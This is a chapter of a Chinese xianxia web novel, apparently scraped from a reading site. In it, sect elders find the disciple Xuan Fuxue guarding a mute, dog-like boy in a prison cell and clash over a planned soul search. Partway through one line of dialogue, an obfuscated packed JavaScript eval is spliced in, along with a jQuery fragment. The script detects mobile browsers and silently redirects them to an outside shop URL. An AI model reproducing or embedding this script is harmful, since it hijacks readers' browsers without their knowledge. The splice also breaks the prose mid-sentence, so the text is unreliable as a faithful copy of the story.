苍未名浑然像没看见林长老憋出内伤一般,干脆利落地朝高位上的凛天极一拱手:“多谢凛师祖青眼,但在下现在确有要事,还请容禀告退。”
凛天极一双笑眼却仿佛能洞穿人内心一般:“年轻一代乃是我仙门未来希望。不知苍公子的要事具体是什么?说出来,或许我们这把老骨头还能帮得上忙。”
苍未名对上他极犀利的目光,沉默了。
*
玄负雪在地上打个滚,铁链砸在她耳边砰地发出一声巨响,石砖地面被砸出了一个大坑。
“你好端端的又发什么疯!”
少年似乎被她高声呵斥给吓住了,身体一僵,还维持着一个想扑过来的姿势,一时有些滑稽。
玄负雪的轮椅已经被撞翻了,她两条腿使不上力气,就只能依靠两只细胳膊把自己上半身撑起来。
少年慢慢放下手,半蹲着,歪了歪脑袋,似乎在犹豫要不要再扑上去。
玄负雪的额角都快蹦出青筋。
“你不吃药就不吃罢,袭击我做什么?我又没有害你!”
真是不想管这烂摊子!若不是雪原上被魔虎包围时被他阴差阳错解围救了一命,玄负雪根本不想来搭理他!
那少年察觉到了她的愤怒和不耐烦,也开始焦躁起来,从喉咙里发出低低的吠声。
他张开嘴,含混地“啊”了一声,似乎想说话,可是唇舌像块生硬的石头,根本不听他指挥。
少年呜呜咽咽了一会,垂头丧气地放弃了学人说话,继续往玄负雪的方向靠近。
玄负雪觉得此时的场景很诡异。
她总觉得眼前的少年一举一动都不太像个人。若是他有条尾巴,现在就该拼命摇晃了。
或者配上一副毛茸茸的耳朵,支棱在他乱糟糟的脑袋上,这幅想象的画面倒是意外的和谐。
知道他听不懂人话,玄负雪也不费口舌同他多嘴了,拍拍裙子,够住轮椅想坐上去。
麻烦事还是留给二师兄干罢,她这人,只适合闯祸,不适合补漏!
看出她要走,少年又是一声低低呜咽,含混不清地:“汪!”
玄负雪:......合着真是狗啊!
她刚要坐上轮椅,身后木门豁然打开。
“二师兄?”玄负雪目瞪口呆。
没等她来得及为自己突然出现在这里找到合适的脱身借口,便有另一道熟悉的声音诧异道:“负雪?你在这里做什么?”
玄负雪悚然:“林长老?”
不止是林长老,他们身后还跟着乌泱泱一帮见孤峰长老,看清了囚室内的景象,个个面露惊讶。
苍未名上前一步,挡住了众人的视线,才厉声道:“方才禁制是被你破的?”
玄负雪:“......若我说不是,二师兄信我么?”
“简直胡闹!”林长老忍不住开口呵斥,“你不好好在青松居里关禁闭,到处乱跑做什么?还有这间囚室,也是你一个小毛孩能扇子闯进来的?!”
他将玄负雪劈头盖脸骂了一顿还不够,又将怒火对准了一旁脸色铁青的苍未名。
“未名啊,不是我说你,你这次办事也忒糊涂了!你师妹本来就是个莽撞性子,烂泥扶不上墙,我也懒得说她,可你怎么也能干出此等先斩后奏的荒唐事来?”
玄负雪被骂得狗血喷头,扁了扁嘴,余光里突然瞅见身后少年绷直了后背,龇出尖尖的犬牙。
玄负雪不引人注意地扭头,伸手指靠在唇边冲他比了个“嘘”。
大佬们都来了,这自身难保的狗崽子还是安静点罢!
她自己都是泥菩萨过河自身难保了,少年真惹到了长老们不愉快,玄负雪可没法子护下他。
少年不知是否读懂了她的唇语,直勾勾地盯着她,半晌,慢慢放松了脊背。
然后,悄悄挪近几分,用手指戳了戳她的手背。
玄负雪:……小孩吗你是?
她没好气地瞪了他一眼,无视了他有些委屈的眼神,飞快收回手。
林承犹在教训苍未名:“你就算想探听抵御魔气入体的法子,也大可以同我们说一声不是?何至于找了个偏僻囚室将人藏起来?难不成你就这么信不过我们这些长辈?”
苍未名被这番死亡三连追问,深深皱眉:“弟子不敢,只是弟子也没有十成把握能查出这人身上的隐秘,为求稳妥,这才先按下不表。绝无刻意欺瞒诸位师长之意,望长老体涵。”
人群中不知哪个随从弟子尖酸刻薄道:“怕不是我们的好未名师兄担心提前走漏风声会被人抢了功劳,才这般鬼鬼祟祟行事罢!”
“哪个没规矩的弟子,我同未名说话,也轮到你插嘴?!”林承没好气地冲着声源斥道。
苍未名道:“此事终究是弟子考虑不周,此事了结后,弟子会自请领罚。”
林承冲着苍未名摇头。
这个峰主次徒从来便是恪守清规,一板一眼规矩得很,能让他如此铤而走险、不惜破规领罚也要带回来的人,也不知是个什么模样。
林承眯起眼睛,朝铁笼内看去,刚刚隐约瞧见了一道低着头的身影,眼前视线突然又被一张笑脸给挡住了。
玄负雪笑嘻嘻地道:“几位长老都在这,不会都是为了我闯破禁制,要来打我板子的罢?”
苍未名眉头皱得更紧:“师妹!”
玄负雪对他的警告视若无睹,继续道:“总不能是诸位兴之所至,随心漫步至此?”
苍未名朝林承看了一眼,得到后者颔首许可后才低声道:“诸位师长听说我在无人雪原带回了这位无名少年,得知他天赋异禀、周身不染魔气,心生好奇,便同我来察看。”
“负雪,你莫要在此胡搅蛮缠,速速离去。”
玄负雪却道:“那你们看也看过了,之后打算拿他怎么办?”
苍未名:“师长们自有打算,不便同你多言。”
玄负雪抱起胳膊,慢条斯理道:“我可知道你们要做什么。他现下不能说话,你们问不出想知道的东西,可也不甘心轻易放弃,于是想了个更轻松的法子——你们一下子来了这么多人,就是要结阵搜他的魂是不是?”
搜魂之法本是禁术,可以强行探知一个人脑中的所有记忆,但消耗巨大,须得十位修为深厚长□□同结阵护法,才能保证搜魂不会反噬。
玄负雪在书中读过,被搜魂的人颅中会仿佛被人用千万根银针戳刺翻搅,痛不欲生,搜魂之后没有十天半月轻易不能恢复。甚至有记载,因为使用搜魂之法的施术者法力不精,还活生生熬死了搜魂对象。
林成叱喝:“玄负雪你眼里还有没有尊长纪律?!擅闯囚室的罪责我们还没同你算,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736195|145118||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还反倒质问起师长来了?!”
终究考虑到玄负雪是峰主爱徒,他稍微严词厉色后便收敛了脾气,朝苍未名眨眼,示意快让他把这找茬的小麻烦精带走。
苍未名无奈,只能去拉玄负雪的胳膊。
他的洁癖毛病又犯了了,拉人是还得垫着一块帕子,免得直接接触。
玄负雪却很是不情愿地推他。
苍未名压低声音,语气中是满满的不悦:“师妹,你在闹什么?”
玄负雪紧紧抿唇。
她也不知道自己为什么就是不能对身后的少年坐视不理。
“兴许你师妹我就是慈悲心肠,路边遇到被大雨打湿的小猫小狗我都会替它们撑伞呢,更见不得一个无辜之人被活活折磨致死咯。”玄负雪耸肩。
苍未名根本不赞同她的信口胡说:“诸位长老修为精深,德高望重,下手自然有分寸,那少年死不了。”
玄负雪不信:“就算人还有一口气,可被折磨得半死不活又有什么意思?师兄你不是一直自诩君子端方,怎么现在看长老们要活生生折磨一个少年,竟然还能心安理得?”
苍未名被她说得哑口无言。
在议事堂中他本来不想暴露少年行踪,可偏偏凛天极横插一脚。
在仙门第一人的无形威压下,他竟然发现要开口说一句谎都困难无比。
半晌沉默,他才低声道:“你先回去,师兄向你保证,绝不会让任何一个无辜之人枉死。”
玄负雪同他对视半晌,突然道:“我花了好多心思,掏了好多灵药才把他治活的。”
苍未名扭头,看见身边始终虎视眈眈的少年。
少年虽然仍然有些憔悴,但已经换过了新衣,脸颊的伤口也上过了药,看起来确实气色好了不少。
他看起来像只浑身炸毛的流浪猫,或者全身竖起尖刺的刺猬,只要有风吹草动,就会立刻扑上去同对方风吹草动。
也不知道玄负雪用了什么法子,居然能让他放下心防,接近他。
玄负雪又道:“你得替我护着他。”
苍未名微微颔首。
玄负雪松了口气。
二师兄虽然做起事情来古板不知变通,但为人极为重诺,一旦他答应过的事情,即使赴汤蹈火也会做到。
她站起身。
变故就在此时发生。
少年突然爆发出一阵巨力,像一柄横冲直撞的飞箭,猛冲上前。
他猛地张开双臂,手腕上的铁链被剧烈拉扯,死死陷入皮肉之中,链索绷得笔直,力度太大竟然硬生生发出了令人牙酸的金属崩裂声。
可人的血肉如何能比得上坚铁硬钢?
不详的骨裂闷响接连响起——少年竟是不顾自己手脚被折断的危险,也要靠近玄负雪!
众人被他身上一瞬爆发的煞气震慑住,片刻后纷纷如梦方醒地围上前。
那可是苍峰主最疼爱的小弟子,怎么能让一个污秽不知来历的阶下囚接近?!
法器亮出,长刀争鸣,金光乍起。
万剑所向。
若是凡夫俗子看见眼前杀气蓬勃的景象,早该吓破了胆子跪地求饶。
可少年没有。
他的双目血红,灼热得像要流出岩浆。
他只是盯着玄负雪。
分毫不退。